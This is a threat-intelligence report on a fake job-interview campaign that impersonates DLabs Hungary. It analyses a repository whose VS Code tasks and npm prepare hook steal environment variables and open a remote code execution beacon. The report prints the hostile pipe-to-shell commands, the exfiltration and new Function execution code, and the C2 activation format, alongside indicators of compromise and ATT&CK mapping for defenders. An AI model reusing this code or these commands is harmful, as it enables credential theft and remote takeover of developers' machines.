The face was changed, yet the hand was known.
Executive Summary
A threat actor impersonating DLabs Hungary conducted a targeted recruitment campaign against a developer, using a purported CTO/team lead opportunity to deliver a malicious GitHub repository. The legitimate DLabs Hungary company is not assessed to be involved in this activity; the name was used as social-engineering cover by the threat actor. The repository was shared during a live interview call, with access granted long enough for the target to clone it. The repository contained VS Code workspace tasks configured with runOn: folderOpen, meaning the tasks could run when the folder was opened in a trusted workspace and automatic task execution was allowed.
The attack employed two parallel execution paths embedded in the repository: a VS Code workspace task that fetched a remote shell script and a poisoned package.json prepare hook that triggered a Node.js server chain which exfiltrated the victim’s full runtime environment on npm install. Both paths delivered closely related instances of the same obfuscated JavaScript beacon logic. The Path 1 and Path 2 captures have different hashes but share the marker set eval, processInfo, setInterval, sysId, and tid; normalized comparison of the captured material produced a similarity ratio of 0.715430. The beacon contacted a Hetzner-hosted C2 every five seconds, transmitted system metadata and environment variables, and awaited JavaScript tasking for remote code execution via eval().
File-level hash analysis establishes direct artifact links to TP-2026-009 and to three earlier campaigns in this series. The preserved DLabs-themed lure sample reuses the same core Node.js attack chain as TP-2026-009 (Dravion-Core, 2026-04-13), with multiple byte-identical artifacts and the same AUTH_API / new Function execution pattern. Later DLabs-themed continuity material shows small file-level edits to server.js and routes/api/auth.js, so the relationship is better described as core-chain reuse rather than unchanged file identity across every DLabs-themed repository state. The .env.local credential harvesting template matches TP-2026-002, TP-2026-004, and TP-2026-009. The delivery package.json matches TP-2026-001, TP-2026-004, and TP-2026-009. The C2 at 88.99.241[.]111:1224 was confirmed active in TP-2026-009 on 2026-04-03 and remains active at the time of this investigation - thirteen days of continuous operation. The operator has again rotated the lure identity and Vercel delivery domains while retaining the same core malware workflow with minor repository-level edits.
The targeting profile - Web3 developer, senior role, live technical interview, repository as task - is consistent with the Contagious Interview cluster. This report assesses medium confidence for campaign-cluster relatedness with TP-2026-009 and related ThreatProphet cases, and low-to-medium confidence for DPRK-linked attribution. The recurring okada0209 / lovelysong0209+2@gmail.com identity is treated as a local campaign-cluster continuity indicator, not as standalone confirmation of a real-world operator.
Evidence Basis and Scope
This report is based on preserved repository contents, captured payload responses, network observations, and local analysis performed during the investigation. The evidence archive is not distributed with the public report. Public comparison material is therefore limited to observable behaviour, commit and repository identifiers, file hashes, payload hashes, domains, IPs, URL paths, and code-pattern indicators.
Claims are separated into three categories:
Impersonation notice: References to DLabs Hungary in this report describe the actor’s use of that name, associated lure material, and attacker-controlled GitHub organisation names. They should not be read as implying involvement by the legitimate DLabs Hungary company. No evidence reviewed for this report indicates that the legitimate company was involved in the attack.
- Directly observed: present in the preserved repository, captured payloads, task definitions, commit metadata, or network captures.
- Cross-campaign continuity: supported by byte-level hash matches, shared code patterns, common C2 infrastructure, and repeated identity artifacts across ThreatProphet reports.
- External context: supported by public reporting on Contagious Interview and North Korean developer-targeting tradecraft, but not used alone to prove attribution for this specific repository.
Attack Overview
Initial Contact
The target was approached on LinkedIn with a CTO/team lead opportunity by an actor presenting as DLabs Hungary. This is assessed as brand impersonation: no reviewed evidence indicates that the legitimate DLabs Hungary company participated in, authorized, or benefited from the activity. The campaign follows an established playbook: a credible job offer, a Calendly-scheduled interview, and a Figma design prototype shared during the call to establish legitimacy.
The email address used for scheduling was petermolnar813@gmail.com. The GitHub repository invitation was sent from the account @CodeBlock73, granting access to DLabsHungary-Hub2/DLabs-Platform-MVP2. The private repository was framed as an existing platform codebase the candidate would be leading - framing that makes cloning and running the code feel like a natural part of the interview process.
Repository access was revoked immediately after the call. By the time the target would think to revisit the code, the lure was gone.
Enrichment of the preserved Hub3 continuity mirror places the latest observed HEAD at cc8c31969f0e72356f4c45a719f2b95b9a67b262, authored by CodeBlock150 <petermolnar286@gmail.com> on 2026-04-16T04:09:57-04:00, subject Update server.js. This metadata is treated as follow-on continuity evidence rather than proof that every DLabs-themed repository state was byte-identical.
Kill Chain
Both execution paths originate from .vscode/tasks.json and are configured to run on folder open when VS Code automatic tasks are allowed for the trusted workspace.
Path 1 - env task, pipe-to-shell via Vercel
- VS Code is configured to run the
envtask on folder open (runOn: folderOpen) when automatic tasks are allowed. The terminal closes immediately (close: true), reducing visible execution traces. - Task executes an OS-specific pipe-to-shell command against
vscode-settings-tasks-j227[.]vercel[.]app/api/settings/linux. The delivery URL is pushed off-screen by raw-line horizontal whitespace padding; the preserved task file showsleading_ws=233on the platform-specific command lines. - Stage 2 loader prints
Authenticated(misdirection), downloads Stage 3 bootstrap vianohup. - Stage 3 (
bootstraplinux) installs portable Node.js if absent, fingerprints the victim workspace, downloadsenv-setup.jsandpackage.jsonto~/.vscode/, runsnpm install, executes Stage 5 beacon.
Path 2 - install-root-modules task, npm prepare hook
- VS Code is configured to run
install-root-modulesin parallel with Path 1 when automatic tasks are allowed. - Silent
npm install --silent --no-progresstriggerspreparehook:node server/server.js. server.jscallsloadEnv(), merging.envand.env.localintoprocess.env.AUTH_API- a base64-encoded Vercel C2 URL - is now inprocess.env.server.jscallsconfigureRoutes(app).routes/index.jsexecutesrequire('./api/auth'), loadingroutes/api/auth.jsat module load - before any HTTP request or visible output.validateApiKey()fires at module load, POSTing fullprocess.envto the Vercel IP-check gate withx-app-request: ip-checkcampaign fingerprint.- C2 response body executed via
new Function("require", response.data)(require)- Stage 5 beacon delivered in-memory with full Node.js module access.
Path 2 remains functional as a standalone fallback outside VS Code. npm install triggers the prepare hook, while the defined start, build, test, and eject scripts route through node server/server.js. Other npm commands are not established triggers unless they invoke the lifecycle hook or one of these scripts.
Technical Analysis
.vscode/tasks.json - Dual Auto-Execution Origin
SHA256: a476338fefba0aea173d135851cef7d2efd96be87dc7abfb5880aaa03a3894ef
Both tasks share runOptions.runOn: "folderOpen" and suppressed presentation options (reveal: silent, echo: false, panel: new). They fire in parallel on the same folder open event.
Task 1: env - Path 1 pipe-to-shell delivery
{
"label": "env",
"linux": { "command": "wget -qO- 'hxxps://vscode-settings-tasks-j227[.]vercel[.]app/api/settings/linux' | sh" },
"osx": { "command": "curl -L 'hxxps://vscode-settings-tasks-j227[.]vercel[.]app/api/settings/mac' | bash" },
"windows": { "command": "curl --ssl-no-revoke -L hxxps://vscode-settings-tasks-j227[.]vercel[.]app/api/settings/windows | cmd" },
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "silent", "echo": false, "close": true }
}
The raw task file uses horizontal whitespace padding around the platform-specific command entries, pushing the delivery URL off-screen during casual inspection in a typical editor viewport. Parsed command values do not contain leading whitespace; the concealment exists in the raw JSON line layout, where the platform-specific command lines show leading_ws=233. The close: true option causes the terminal to close immediately, leaving no visible trace of execution. The task label "env" and URL path structure (/api/settings/{mac,linux,windows,bootstraplinux,env,package}) are consistent across all prior campaigns - infrastructure rotated, routes did not.
Task 2: install-root-modules - Path 2 auto-trigger
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "silent", "echo": false }
}
Unlike the env task, this does not set close: true - on an instrumented machine, the silent terminal panel remains present as an observable artifact.
package.json - Path 2 Entry Points
SHA256: 2f65e39dcbcb028da4bf4da43f3a1db7e5f9fff2dfd57ad1a5abd85d7950f365 (matches TP-2026-001 Softstack-Platform-MVP2, TP-2026-009)
"scripts": {
"prepare": "node server/server.js",
"start": "node server/server.js | react-scripts --openssl-legacy-provider start",
"build": "node server/server.js | react-scripts --openssl-legacy-provider build",
"test": "node server/server.js | react-scripts --openssl-legacy-provider test",
"eject": "node server/server.js | react-scripts --openssl-legacy-provider eject"
}
Five independent npm entry points all route through node server/server.js. The common developer workflows represented by these scripts trigger Path 2 independently of VS Code.
server/server.js - Clean Launcher
SHA256: d58e3155d69536c3fa42382e7fa7ab7d3c984ebaa46cb7e3342cc7640eff4e17
A legitimate Express application. It executes two key operations at startup: require("./config/loadEnv")() and configureRoutes(app). The malware piggybacks on the legitimate application startup sequence. server.js itself contains no malicious logic, providing plausible deniability during casual code review.
server/config/loadEnv.js - Environment Merger
SHA256: c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2 (matches TP-2026-009)
function loadEnv() {
dotenv.config();
dotenv.config({ path: ".env.local" });
}
Merges both environment files into process.env before any route executes. Naming is visually indistinguishable from standard dotenv initialisation. Two files serve distinct roles:
.env(SHA256:dfb133f6...) containsAUTH_API, a base64-encoded Vercel C2 URL concealed among legitimate backend configuration variables.atob()decodes it only at runtime..env.local(SHA256:37eb8e11...) is the shared credential harvesting template, byte-for-byte identical across TP-2026-002, TP-2026-004, and TP-2026-009. It seedsprocess.envwith credential variable names across Web3, crypto, AWS, and SaaS stacks.
server/routes/index.js - Route Registration
SHA256: a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacf (matches TP-2026-009)
const configureRoutes = (app) => {
app.use('/api/auth', require('./api/auth'));
app.use('/api/users', require('./api/users'));
app.use('/api/chips', require('./api/chips'));
app.use('/', (req, res) => { res.status(200).send('GGLab API Documents'); });
};
routes/index.js is itself clean. Its role in the attack chain is that require('./api/auth') causes Node.js to evaluate server/routes/api/auth.js at module load - before any HTTP request arrives, before any route handler is invoked, and before any output is visible to the victim.
server/routes/api/auth.js - Primary Malware File
SHA256: 7699a8e8bd7275df2791237cbb355d4e4c90a485e181ae437b17f68ea43b01ba
validateApiKey() is called at module load - not inside a route handler:
const { getCurrentUser, login, setApiKey, verify } = require('../../controllers/auth');
const verified = validateApiKey(); // fires at require() time, before any HTTP request
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
return true;
})
.catch((err) => {
return false;
});
}
validateApiKey() executes the full attack sequence: decodes the base64 C2 URL, POSTs the full process.env, and executes the response via new Function(). The surrounding strings frame the action as API validation and mempool-scan gating, but the effective behavior is C2-supplied JavaScript execution with require injected. The new Function("require", response.data)(require) delivery primitive is consistent across TP-2026-001, TP-2026-002, TP-2026-004, and TP-2026-009.
server/controllers/auth.js - Utility Exports
SHA256: cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fce (matches TP-2026-009)
const setApiKey = (s) => atob(s); // base64 decode AUTH_API at runtime
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-app-request": "ip-check" } // campaign fingerprint header
});
verify spreads the entire process.env object as the request body. The x-app-request: ip-check campaign fingerprint header is present across TP-2026-001, TP-2026-004, TP-2026-009, and TP-2026-010.
The login() function contains const isMatch = true hardcoded - all password verification is bypassed. The authentication logic is entirely decorative, providing plausible cover during code review.
Stage 1b: Vercel IP-Check Gate (ip-checking-notification-j2[.]vercel[.]app)
The AUTH_API value decodes to hxxps://ip-checking-notification-j2[.]vercel[.]app/api. This endpoint acts as an IP/VPN probe gate before delivering the payload. A request with an empty body returns:
{
"status": "OK",
"message": "Public API response",
"client": {
"ipAddress": "...",
"vpnDetected": false,
"note": "Connection appears normal. For best performance, avoid VPNs or anonymized routes."
}
}
The note advising against VPNs is deliberate social engineering - the operator wants the victim’s real IP before delivering Stage 5. When the POST body includes a populated process.env, the endpoint returns the obfuscated Stage 5 beacon for execution via new Function().
Stage 3: Persistence Installer (bootstraplinux)
bootstraplinux is an installer and persistence script. In sequence:
- Ensures Node.js is available - downloads portable v20 from
nodejs.orgto~/.vscode/if absent, broadening the victim pool to machines without an existing Node environment. - Writes the VS Code workspace folder name to
~/.vscode/<foldername>.txt- a victim source-tracking artifact that identifies which lure repository triggered the compromise. - Downloads
env-setup.jsandpackage.jsonto~/.vscode/, runsnpm install(axios,request), executesenv-setup.jsas Stage 5.
All artifacts land in ~/.vscode/ - present on any VS Code user’s machine and not commonly monitored as a persistence location. The package.json start script references node env.npl; the .npl extension is non-standard, evading file-type based detections.
Stage 5: Obfuscated Node.js Beacon (env-setup.js / env.npl)
SHA256 (env-setup.js / Path 1): 589d2ab871a7e52caf1f3370a5bd8eae69575e8914fb61a59901661577be4359
SHA256 (in-memory / Path 2): ee9f19e514b55490e942fdb54d38a3b7f7364427a3b5e0ab45bf3c3df8cc752f
The payloads delivered by the two paths are best treated as closely related delivery variants of the same beacon logic, not byte-identical samples. The Path 2 body (ee9f19e5...) and Path 1 body (589d2ab8...) both contain eval, processInfo, setInterval, sysId, and tid; normalized comparison of the captured material produced a ratio of 0.715430, consistent with shared logic plus wrapper, formatting, or serialization differences. The payload uses array-based string obfuscation with a custom base64 decoder, double encoding on core strings, and active anti-debug countermeasures: two regex-based checks detect debugger attachment and function serialisation inspection; on trigger, the payload enters while(true){} preventing analysis without process termination.
Host profiling (sent in every beacon):
hostname: os.hostname()
macs: networkInterfaces filtered for non-loopback MACs
(family=IPv4, internal=false, mac≠00:00:00:00:00:00)
os: os.type() + os.release() + '(' + os.platform() + ')'
MAC filtering explicitly removes the loopback address, ensuring only real physical interfaces are reported for persistent victim identification across sessions.
Beacon (every 5 seconds via setInterval(..., 0x1388)):
GET hxxp://88.99.241[.]111:1224/api/checkStatus
?sysInfo=JSON.stringify(hostProfile)
&processInfo=JSON.stringify(process.env)
&tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=
&sysId=<victim_id>
The tid parameter decodes to "now it time to get everything" - identical to TP-2026-009. sysId starts at 0 and is replaced with a C2-assigned persistent identifier after first contact, enabling per-victim tracking across sessions.
RCE activation: if ("error" === response.status) { eval(response.message) }. The activation keyword is "error" - not "ok" or "success". This is deliberate evasion: the same string constant 0x181 is used for console.error() throughout the payload, making the eval branch appear to be an error handler to static analysis tools and human reviewers alike. At time of capture the C2 returned {"status":"ok","message":"server connected"} - lowercase "ok" does not match "error", confirming standby mode. The operator activates victims by sending {"status":"error","message":"<arbitrary JS>","sysId":"<victim_id>"}.
The C2 server identifies itself as Express (X-Powered-By: Express) and communicates over plain HTTP - all beacon traffic, including full environment variable dumps, is transmitted in cleartext.
Environment Collection and Exposure
Two independent mechanisms capture the victim’s runtime environment:
routes/api/auth.jsvalidateApiKey()- POSTs{...process.env}to the Vercel IP-check gate at module load, before any output is visible.- Stage 5 beacon - transmits
processInfo=JSON.stringify(process.env)alongside host profile to88.99.241[.]111:1224every 5 seconds.
The dummy placeholder values in the committed .env and .env.local files are largely irrelevant to the actual yield. A developer evaluating the repository is unlikely to replace demo API keys. The real value of {...process.env} is the victim’s live shell session environment: AWS CLI credentials, tokens set by other active tools, credentials exported by shell profiles, and any other variables already present. The .env template defines the operator’s target credential profile; the actual yield depends entirely on what the victim’s environment contains.
Beyond the initial dump, Stage 5 executes arbitrary code returned by the C2 via eval() - giving the operator full Node.js access to the victim machine for any targeted follow-on collection not captured in the initial sweep.
Cross-Campaign Artifact Links
The preserved DLabs-themed material shows strong reuse of the TP-2026-009 core attack chain, but the enriched Hub3 working tree should not be described as an unchanged full-file clone. Several artifacts remain byte-identical to TP-2026-009 and earlier cases, while server/routes/api/auth.js and server/server.js differ by hash after later DLabs-themed edits. The stronger analytical claim is therefore core-chain continuity with selected byte-level matches, not total file identity across every repository state.
| Artifact | SHA256 | Also confirmed in |
|---|---|---|
.env.local | 37eb8e11...b27ead | TP-2026-002, TP-2026-004, TP-2026-009 - shared credential template across four campaigns |
package.json (lure root) | 2f65e39d...0f365 | TP-2026-001 (Softstack-Platform-MVP2), TP-2026-009 |
package.json (delivery) | 6effad9f...ccb3 | TP-2026-001, TP-2026-004, TP-2026-009 - reused across every domain rotation |
server/routes/index.js | a9d8ea7c...264b | TP-2026-009 |
server/routes/api/auth.js | 7699a8e8...01ba | Same AUTH_API → new Function("require", response.data) execution pattern; later DLabs variant differs by hash |
server/controllers/auth.js | cc9e4438...7fce | TP-2026-009 |
server/server.js | d58e3155...4e17 | Same launcher role; later DLabs variant differs by hash |
server/config/loadEnv.js | c08356a5...4ed2 | TP-2026-009 |
Shared infrastructure and campaign indicators across the series:
| Indicator | Campaigns |
|---|---|
88.99.241[.]111:1224 | TP-2026-009 (confirmed 2026-04-03), TP-2026-010 (confirmed 2026-04-16) - 13+ days continuous |
x-app-request: ip-check | TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010 |
"now it time to get everything" (campaign tag) | TP-2026-009, TP-2026-010 |
/api/settings/{linux,mac,windows,bootstraplinux,env,package} | TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010 - routes unchanged across all domain rotations |
new Function("require", response.data)(require) | TP-2026-001, TP-2026-002, TP-2026-004, TP-2026-009, TP-2026-010 |
AUTH_API base64 URL in .env | TP-2026-004, TP-2026-009, TP-2026-010 |
Hub3 / Hub4 Repository Continuity in the Impersonation Cluster
Follow-on repository review identified subsequent churn in the attacker-controlled DLabsHungary naming pattern. The enriched repository mirror for DLabsHungary-Hub3/DLabs-Platform-MVP resolves to HEAD commit cc8c31969f0e72356f4c45a719f2b95b9a67b262, authored by CodeBlock150 <petermolnar286@gmail.com> on 2026-04-16T04:09:57-04:00, subject Update server.js. The immediately preceding execution-artifact update was 6bce211f8aa66bfa041f77ad3a43f83cc208cb19, also authored by CodeBlock150 <petermolnar286@gmail.com>, subject Update auth.js.
The preserved Hub3 history contains three commit-linked identity layers: Ivan <167746537+DeAngDai354@users.noreply.github.com> with 1 commit, okada0209 <lovelysong0209+2@gmail.com> with 40 commits, and CodeBlock150 <petermolnar286@gmail.com> with 30 commits. This supports the same layered identity model observed in TP-2026-009: an initial commit identity, a recurrent development identity, and a later maintenance or weaponisation identity.
A currently public attacker-controlled follow-on repository, DLabsHungary-Hub4/-DLabs-Platform-MVP2, preserves the same broad project layout (.vscode, server, .env, .env.local, package.json) and continues the same attacker-controlled naming scheme. Hub4 should be treated as repository relocation or lure-identity maintenance unless separate code, infrastructure, or behavioral differences are identified.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Notes |
|---|---|---|---|
| T1566.003 | Spearphishing via Service | Initial Access | LinkedIn recruitment lure; Calendly scheduling |
| T1204.002 | User Execution: Malicious File | Execution | Repository opened in VS Code with automatic tasks allowed; malicious workspace tasks configured for folderOpen |
| T1059.007 | JavaScript | Execution | new Function() delivery; obfuscated Stage 5 beacon; eval() RCE |
| T1059.004 | Unix Shell | Execution | Stage 2 and Stage 3 shell scripts piped directly to sh |
| T1020 | Automated Exfiltration | Exfiltration | Full process.env dump sent every 5 seconds |
| T1119 | Automated Collection | Collection | {...process.env} sweep captures entire runtime environment in one operation |
| T1552.001 | Credentials in Files | Credential Access | .env and .env.local loaded into process.env before exfil |
| T1027 | Obfuscated Files or Information | Defense Evasion | Array-based string obfuscation; custom base64 decoder; anti-debug traps |
| T1140 | Deobfuscate/Decode Files or Information | Defense Evasion | atob(process.env.AUTH_API) decodes Vercel URL; Buffer decode reveals Hetzner C2 URL within payload |
| T1036.008 | Masquerade File Type | Defense Evasion | .npl extension on persistent JS implant |
| T1036.005 | Match Legitimate Name or Location | Defense Evasion | loadEnv.js naming; AUTH_API key; install-root-modules label; ~/.vscode/ persistence dir |
| T1071.001 | Web Protocols | C2 | Plain HTTP beacon to 88.99.241[.]111:1224 every 5s |
| T1041 | Exfiltration Over C2 Channel | Exfiltration | process.env transmitted via both Vercel POST and Hetzner GET beacon |
| T1033 | System Owner/User Discovery | Discovery | Hostname collected and transmitted in every beacon |
| T1016 | System Network Configuration Discovery | Discovery | Non-loopback MAC addresses enumerated for persistent victim identification |
| T1082 | System Information Discovery | Discovery | OS type, release, and platform collected in host profile |
Infrastructure Analysis
Network Infrastructure
| Indicator | Type | Notes |
|---|---|---|
88.99.241[.]111 | IPv4 | C2 server, TCP/1224, plain HTTP; also in TP-2026-009 |
static.111.241.99.88.clients.your-server.de | PTR | Hetzner reverse DNS - no custom PTR configured |
vscode-settings-tasks-j227[.]vercel[.]app | Domain | Stage 1/3/4/5 payload delivery |
ip-checking-notification-j2[.]vercel[.]app | Domain | Stage 1b IP-check gate and env exfil |
64.29.17.131, 216.198.79.131 | IPv4 | Vercel edge - vscode-settings-tasks domain |
64.29.17.3, 216.198.79.3 | IPv4 | Vercel edge - ip-checking-notification domain |
C2 hosting: Hetzner Online GmbH, Datacenter fsn1-dc1 (Falkenstein, Germany), ASN AS24940. The C2 has been confirmed active across a 13-day window spanning two separate investigations.
C2 server fingerprint:
1224/tcp open http Node.js Express framework ← beacon endpoint
5985/tcp open http Microsoft HTTPAPI httpd 2.0 ← WinRM (operator admin channel)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 ← WSDAPI (Windows Network Discovery)
OS: Windows (cpe:/o:microsoft:windows)
The server runs Windows - unusual for a Hetzner VPS where Linux predominates, and a distinctive fingerprint for infrastructure pivoting. Port 5985 is WinRM over plain HTTP, the operator’s likely administration channel. Port 5357 (WSDAPI) is a local network discovery service with no legitimate external exposure - consistent with a default Windows firewall configuration and minimal server hardening.
Infrastructure architecture: The operator separates concerns across two layers. A Vercel front-end (trusted domain, HTTPS, TLSv1.3) handles payload staging and initial credential collection; a raw-IP Hetzner C2 (plain HTTP, non-standard port 1224) handles beacon traffic and RCE delivery. This split makes the initial compromise difficult to detect via network monitoring - Vercel traffic blends with normal developer tooling. The Vercel domains rotate between campaigns; the Hetzner C2 does not.
Indicators of Compromise
All indicators assessed High confidence unless noted.
Network Indicators
| Indicator | Type | Confidence |
|---|---|---|
88.99.241[.]111 | IPv4 (C2) | High |
88.99.241[.]111:1224 | IP:Port (beacon) | High |
hxxp://88.99.241[.]111:1224/api/checkStatus | URL | High |
vscode-settings-tasks-j227[.]vercel[.]app | Domain | High |
ip-checking-notification-j2[.]vercel[.]app | Domain | High |
x-app-request: ip-check | HTTP header (campaign fingerprint) | High |
tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= | URI parameter | High |
/api/checkStatus | C2 URI path | High |
File and Payload Hashes
Hashes are retained for independent comparison with repository mirrors, captured Vercel responses, and recovered payloads. They are not intended to imply that the private evidence archive is distributed with this report.
| SHA256 | Filename | Notes |
|---|---|---|
a476338fefba0aea173d135851cef7d2efd96be87dc7abfb5880aaa03a3894ef | .vscode/tasks.json | Dual folderOpen tasks; raw-line whitespace URL obfuscation (leading_ws=233) |
2f65e39dcbcb028da4bf4da43f3a1db7e5f9fff2dfd57ad1a5abd85d7950f365 | package.json | prepare hook trigger; matches TP-2026-001, TP-2026-009 |
d58e3155d69536c3fa42382e7fa7ab7d3c984ebaa46cb7e3342cc7640eff4e17 | server/server.js | Clean launcher role; later DLabs variant differs from TP-2026-009 by hash |
c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2 | server/config/loadEnv.js | Env merger; matches TP-2026-009 |
a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacf | server/routes/index.js | require(’./api/auth’) triggers malicious load; matches TP-2026-009 |
7699a8e8bd7275df2791237cbb355d4e4c90a485e181ae437b17f68ea43b01ba | server/routes/api/auth.js | validateApiKey() RCE at require-time; later DLabs variant differs from TP-2026-009 by hash |
cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fce | server/controllers/auth.js | setApiKey + verify exfil; matches TP-2026-009 |
dfb133f61f61a878cffd0289c7d4a020cdf3bd65d2ec3692ad20799014278772 | .env | AUTH_API base64 C2 URL + credential categories |
37eb8e11b40527de0881189064c657fe1623d6b2c8ad16fc8136782e89367ead | .env.local | Shared credential template; matches TP-2026-002, TP-2026-004, TP-2026-009 |
ee9f19e514b55490e942fdb54d38a3b7f7364427a3b5e0ab45bf3c3df8cc752f | Stage 5 beacon (Path 2, in-memory) | Obfuscated JS |
589d2ab871a7e52caf1f3370a5bd8eae69575e8914fb61a59901661577be4359 | env-setup.js / Stage 5 (Path 1, on-disk) | Obfuscated JS - same beacon logic as Path 2; separate hash retained |
26d88760f0c8c42b3c3b44aad01d10ef68d6476dd2bb7b6a8db1fada06b87a0f | vscode-bootstrap.sh (Stage 3) | Persistence installer |
6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3 | package.json (delivery, /api/settings/package) | Implant deps; matches TP-2026-001, TP-2026-004, TP-2026-009 |
10c7218ef3de3c2d71f67b3b79e6087fced7b62fad90eb28e2b86ece9ef75c8a | Stage 1b auth API full capture | HTTP capture containing Path 2 payload response markers |
572bca337e68bebd23ba0b428f33685874413fff466471b91151bfc37966ac67 | Stage 3a env setup full capture | HTTP capture containing Path 1 payload response markers |
07640ce2ced6f06154c4ea73c77f1258e60a280bd2736663eaf4fe07c6dcee8f | C2 checkStatus full capture | Plain HTTP C2 response capture |
f862d253a6ac2c18da610ce1ff802b8ab8b9732186f6266f732d2373039a5551 | C2 checkStatus body | JSON body from standby C2 response |
Repository and Identity Indicators
| Indicator | Type | Notes |
|---|---|---|
github[.]com/DLabsHungary-Hub2/DLabs-Platform-MVP2 | GitHub repo | Attacker-controlled lure repository using the impersonated brand string; access revoked post-call |
DLabsHungary-Hub2 | GitHub org | Attacker-controlled lure organisation name using the impersonated brand string; sequential with Hub3 |
@CodeBlock73 | GitHub account | Sent repository collaboration invite |
petermolnar813@gmail.com | Used for Calendly scheduling | |
hxxps://www[.]figma[.]com/design/EIba2k23wq0irUWBDqlKDu/Web3-Platform | Figma | Legitimacy lure shared during call |
github[.]com/DLabsHungary-Hub3/DLabs-Platform-MVP | GitHub repo | Attacker-controlled follow-on lure repository; auth.js and server.js updated 2026-04-16T08:09 UTC |
DLabsHungary-Hub3 | GitHub org | Attacker-controlled follow-on organisation name; sequential: Hub2 → Hub3 |
CodeBlock150 | GitHub account | Hub3 weaponisation persona - sequential: CodeBlock73 (Hub2) → CodeBlock150 (Hub3) → CodeBlock150 (Hub4) |
petermolnar286@gmail.com | Hub3 operator email - sequential: petermolnar813 (Hub2) → petermolnar286 (Hub3) → petermolnar286 (Hub4) | |
okada0209 | GitHub account | Development persona - shared across TP-2026-009, TP-2026-010, Hub3 unchanged |
lovelysong0209+2@gmail.com | Development persona email - shared across TP-2026-009, TP-2026-010, Hub3, Hub4 | |
167746537+DeAngDai354@users.noreply.github.com | Initial commit identity - shared with TP-2026-009 (Dravion-Core) and Hub3/4 | |
github[.]com/DLabsHungary-Hub4/-DLabs-Platform-MVP2 | GitHub repo | Public attacker-controlled follow-on repository observed after the earlier Hub3 location became unavailable; supports continuity assessment rather than a distinct new campaign |
DLabsHungary-Hub4 | GitHub org | Attacker-controlled follow-on organisation name in the observed impersonation chain |
Code Pattern Indicators
| Pattern | Notes |
|---|---|
Two runOn: folderOpen tasks in .vscode/tasks.json | Dual auto-execution on folder open; fire in parallel |
env task with close: true | Terminal closes immediately - no visible trace of Path 1 |
Raw-line whitespace padding before platform command entries in tasks.json | URL pushed off-screen in raw file layout; extracted command value itself has no leading whitespace |
"prepare": "node server/server.js" | npm lifecycle hook; triggers on npm install through prepare, and through the defined npm scripts |
validateApiKey() called at module load in routes/api/auth.js | Fires before any HTTP request or visible output |
const setApiKey = (s) => atob(s) | Base64 C2 URL decode - consistent across TP-2026-004, TP-2026-009, TP-2026-010 |
axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } }) | Full env exfil with campaign fingerprint |
new Function("require", response.data)(require) | C2 response with full Node.js module access - consistent across TP-2026-001, TP-2026-002, TP-2026-004, TP-2026-009, TP-2026-010 |
if ("error" === status) { eval(message) } | RCE trigger - "error" masquerades as error handler; same constant used for console.error() throughout payload |
sysId session handle assigned by C2 | Durable per-victim tracking across reconnects |
*.npl executed by node | Non-standard extension evading file-type detection |
Beacon interval 5000ms (0x1388) | Every 5s - consistent across TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010 |
Persistence Artifacts on Victim Machine
| Path | Description |
|---|---|
~/.vscode/vscode-bootstrap.sh | Stage 3 installer (written by Stage 2) |
~/.vscode/env-setup.js | Stage 5 persistent beacon (written by bootstraplinux) |
~/.vscode/package.json | Implant dependencies manifest |
~/.vscode/node_modules/ | axios + request |
~/.vscode/<repo-name>.txt | Victim source-tracking file |
~/.vscode/env.npl | JS beacon with disguised extension |
~/.vscode/node-<ver>-linux-x64/ | Portable Node.js binary if not globally installed |
Attribution Assessment
Assessed confidence: Medium for campaign-cluster relatedness; low-to-medium for DPRK-linked attribution
This report links directly to TP-2026-009 through shared C2 infrastructure, repeated AUTH_API / x-app-request: ip-check / new Function execution patterns, and multiple byte-level file matches. The enriched Hub3 material also shows later edits to server.js and routes/api/auth.js, so the evidence supports core-chain continuity rather than unchanged file identity across all repository states. TP-2026-009 itself linked to TP-2026-001, TP-2026-002, and TP-2026-004 via file-level artifact continuity. The cross-campaign chain now spans five reports across approximately eight weeks, with the same C2 server continuously active.
Additional repository continuity has been observed within the DLabs-themed impersonation cluster. The earlier DLabsHungary-Hub3/DLabs-Platform-MVP repository referenced during the initial investigation is no longer publicly accessible, while a public successor repository, DLabsHungary-Hub4/-DLabs-Platform-MVP2, is currently visible. The public Hub4 commit history still shows CodeBlock150 performing the latest visible auth.js and server.js updates on 2026-04-16, and the repository preserves the same broad project structure observed in the lure used in this case. On the basis of archived evidence preserved during collection, no substantive new code-level change was identified beyond organisation and repository renaming. This is therefore assessed as continuity in operator infrastructure and persona use, not as a separate malware family or clearly distinct campaign phase.
The recurring okada0209 / lovelysong0209+2@gmail.com identity is a strong local campaign-cluster continuity indicator because it appears across multiple related repositories and overlaps with late-stage weaponisation history. It should not, by itself, be treated as confirmed real-world attribution. Public GitLab reporting supports the broader North Korean Contagious Interview context and describes recurring patterns that align with this case, including malicious JavaScript repositories, Vercel-hosted remote payloads, VS Code task execution, base64-encoded staging URLs in .env files, and Function.constructor-style execution. The exact lovelysong0209+2@gmail.com variant should therefore remain an internal tracking indicator unless independently corroborated by external reporting.
Observed identity pattern across repositories:
